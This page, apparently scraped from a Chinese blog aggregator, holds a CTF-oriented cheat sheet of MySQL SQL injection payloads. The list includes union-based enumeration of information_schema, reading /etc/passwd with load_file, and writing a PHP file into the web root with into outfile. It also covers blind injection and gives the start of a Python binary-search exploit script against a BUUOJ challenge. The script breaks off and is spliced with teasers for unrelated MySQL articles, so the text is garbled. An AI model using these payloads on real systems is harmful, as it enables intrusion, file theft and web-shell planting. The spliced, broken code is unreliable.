MySQL实战
作者 | 丁奇出处 | 极客时间《MySQL 实战 45 讲》专栏我们经常说,看一个事儿千万不要直接陷入细节里,你应该先鸟瞰其全貌,这样能够帮助你从高维度理解问题。同样,对于 MySQL 的学习也是这...
2024.11.12对于MYSQL知识的一个初总结
001:正文MYSQL数据库特性1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只过滤了select,那么我们可以用select进行绕过。
2.mysql默认端口3306
3.mysql各个数据库的作用
(1)information_schema:
此数据库是一个信息数据库,保存了所有数据库的信息。
常用SQL注入语句1.显示当前用户:select user();(current_user)
2.显示当前数据库版本:select version();
3.显示当前数据库名:select database();show databases;
4.爆破字段数: order by
5.查看显示位:select 1,2,3,4,56.联合查询:union select 1,2,3,4,57.查询数据库名:
select group_concat(schema_name) from information_schema.schemata
8.查询数据表名:
select group_concat(table_name) from information_schema.tableswhere table_schema=‘库名‘9.查询字段名:
select group_concat(column_name) from information_schema.columnswhere table_name=‘表名‘10.读取特定行:
select * from mysql.user limit n,m11.读取文件:select load_file(‘/etc/passwd‘)12.写入文件:
select ‘‘ into outfile ‘/var/www/html/a.php‘
13.判断此处有无注入点:利用and1=1和and1=2来进行分析14.猜解表名:and (select Count(*) from [表名])>=015.猜解字段名:and (select Count([字段名]) from [表名])>=016.猜解字段的长度:and (select top 1 len(字段名) from 数据库名)>0
17.创建一个数据库:create database ybyy;18.创建一个带字符的类型的数据库:create database mydb2 CHARACTER SET=utf8;
19.删除数据库:drop DATABASE ybyy;20.修改数据库编码:
ALTER DATABASE ybyy character set gbk;21.选择数据库:use database;22.查看表结构:desc tablename;23.查看数据库创建语句:show create database databasename;
24.查看系统用户名:system_user()25.查看连接数据库的用户名session_user()26.读取数据库路径:@@datadir27.读取安装路径:@@basedir MYSQL28 操作系统:@@version_compile_os
002:盲注什么叫盲注?
不会返回数据库内建的报错信息。而这些报错信息是我们普通SQL注入漏洞判断的依据。我们无法依据服务器的返回值来判断,我们可以依据两次执行的差距来判断,可以依据基于逻辑的真假来判断。
[极客大挑战 2019]FinalSQL题目给了提示,python写sql盲注脚本
点击1:
可以看到这里是有waf的!
在这里在测试一下id=0
在这里就可以判断为布尔盲注。测了一下,这道题可以用异或注入来做。这里先来简单讲一下,1^0=11^1=0下面直接上payload:
利用二分法脚本来题提升盲注速度,因为后期中很多题型都需要到二分法爆破脚本,因此在这里解释的详细一点,以后的二分法脚本便不作详细解释。二分法:顾名思义,即为一分为二的方法。把答案所在的区间逐渐缩小,直到区间内有一次正确答案,就可以跳出一次循环。
在sql注入中,我们经常使用ASCII来对其进行便利,因此我们一般设置最大最小low=32,high=128。设置这两个值是因为在这期间基本包含了sql注入中password字段,但是也不免会有一些出题人喜欢出稀奇古怪的题目,这种题目我们不便理会。使用二分法来进行爆破的原因是:二分法比普通遍历效率要高很多。原理:每次爆破都是区间的中间值,如果中间值大于给定数字,那么下次爆破就是前半部分的中间值数字;如果中间值小于给定数字,下次就爆破后半部分的中间值数字。
那么接下来就可以分析一下EXP了:
import requestsurl = "http://71eccd97-48cc-4534-b840-4ff5e336a0ad.node3.buuoj.cn/search.php?"temp = {"id" : ""}key = ""for i in range(1,1000):low = 32high =128mid = (low+high)//2while(low作者 | 丁奇出处 | 极客时间《MySQL 实战 45 讲》专栏我们经常说,看一个事儿千万不要直接陷入细节里,你应该先鸟瞰其全貌,这样能够帮助你从高维度理解问题。同样,对于 MySQL 的学习也是这...
2024.11.12MySQL驱动参数你知道多少呢?常见的几个大家应该都见过,如下:参数说明user数据库用户名password用户密码useUnicode是否使用Unicode字符集,如果参数characterEnco...
2024.11.06喜欢本文章请关注点赞加转发如何保护数据免受SQL注入攻击?采取措施保护数据免受基于应用程序的攻击,例如SQL注入。千万不要相信应用程序用户输入的任何数据,这一点非常重要。用户可以通过使用具有特殊含义的...
2024.11.11mysql导入导出命令mysqldump命令的输入是在bin目录下.1.导出整个数据库 mysqldump -u 用户名 -p 数据库名 > 导出的文件名 mysqldump -u wcnc -p...
2024.11.14MySQL体积小、速度快,性能优异,是目前企业实际开发中最广泛应用的数据库之一。它不仅易学,开发成本低,而且90%以上的数据库操作都跟通用的SQL语法一致,掌握MySQL后再学习其他类似数据库会简单很...
2024.11.07